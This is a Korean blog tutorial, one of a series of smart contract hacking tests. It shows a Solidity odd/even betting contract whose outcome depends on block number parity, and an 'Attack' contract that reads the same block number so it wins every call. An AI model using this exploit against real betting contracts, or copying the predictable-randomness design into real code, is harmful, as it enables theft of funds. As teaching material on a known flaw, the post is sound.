본문 바로가기
aaa
블록체인

스마트컨트랙트 홀짝 해킹 #3

스마트컨트랙트 해킹 테스트 #3

[요약]

블록넘버의 홀수, 짝수를 맞추면

승리하는 스마트컨트랙트를

반드시 이길 수 있도록 해킹해보자.

 

 

  • 해킹 타켓 스마트컨트랙트 "Test11"
pragma solidity 0.8.6;

contract Test11 {
    
    mapping(address => uint) public txCount;
    mapping(address => uint) public win;
    
    function gamble(bool _answer) public {
        uint blockNum = block.number;
        bool answer;
        
        if(blockNum % 2 == 1){
            answer = true;
        } else if (blockNum % 2 == 0) {
            answer = false;
        }
        
        txCount[msg.sender]++;
        
        if(answer == _answer){
            win[msg.sender]++;
        }
    }
    
}

블록넘버가 홀수이면 true / 짝수이면 false이다.

함수 호출자가 제출한 답과 블록넘버의 홀/짝이 일치하면 승리.

 

함수 gamble에 true / false 값을 넣어 호출한다.

 

 

 

  • 시도1 / 막무가내 수동 작업

블록넘버는 홀수,짝수를 번갈아 가면서 생성되므로

대충 첫번째 시도가 성공하면 그 다음부터는 반대 값으로 넣어 반복한다.

 

첫번째 시도 실패.

두번째 시도 실패.

세번째도 실패 

안되잖아?????

5번째에서 드디어 맞췄다.

 

이런식으로는 안된다.

 

 

 

 

  • 시도2 => 스마트컨트랙트를 하나 더 만든다.

블록넘버는 공개되어 있는 값이다. 오픈북인셈.

 

블록넘버를 이미 알고 있는

스마트컨트랙트가 있고

 

Test11의 gamble 함수를 호출 할때마다

이미 알고 있는 블록넘버의 홀짝:True/False를

넣으면 호출할때마다 이길 수 있다.

 

 

 

 

스마트 컨트랙트 Atack 추가.

contract Attack {
    function hack() public {
        uint blockNum = block.number;
        bool answer;
        
        if(blockNum % 2 == 1){
            answer = true;
        } else if (blockNum % 2 == 0) {
            answer = false;
        }
        Test11(test11_Address).gamble(answer);
    }

스마트컨트랙트 Attack의 hack 함수

스마트컨트랙트 Attack에는

함수 hack이 있고

hack을 호출하면

 

현재 블록넘버 값을 불러온다.

 

홀수면 answer에 true를 대입

짝수면 answer에 false를 대입한다.

 

그 다음 해킹 타겟인 Test11의 gamble를 호출하고

파라미터 answer에 위에서 구한 true/false 값을 넣게된다.

이러면 백전백승이다.

 

*test11_Address에는 Test11의 스마트컨트랙트 주소를 대입한다.

 

 

55번째 62번째 계속 승리~

 

이미 알고 있는 답을 넣기 때문에

계속 승리한다.

 

이 경우 Test11을 호출자는

스마트컨트랙트 'Attack'이기 때문에 

 

Attack의 스마트컨트랙트 주소를

Test11의 txCount / win에

입력해야 트랜잭션 회수 / 승리회수를 알 수 있다.

 

 

 

 

 

 

 

 


loading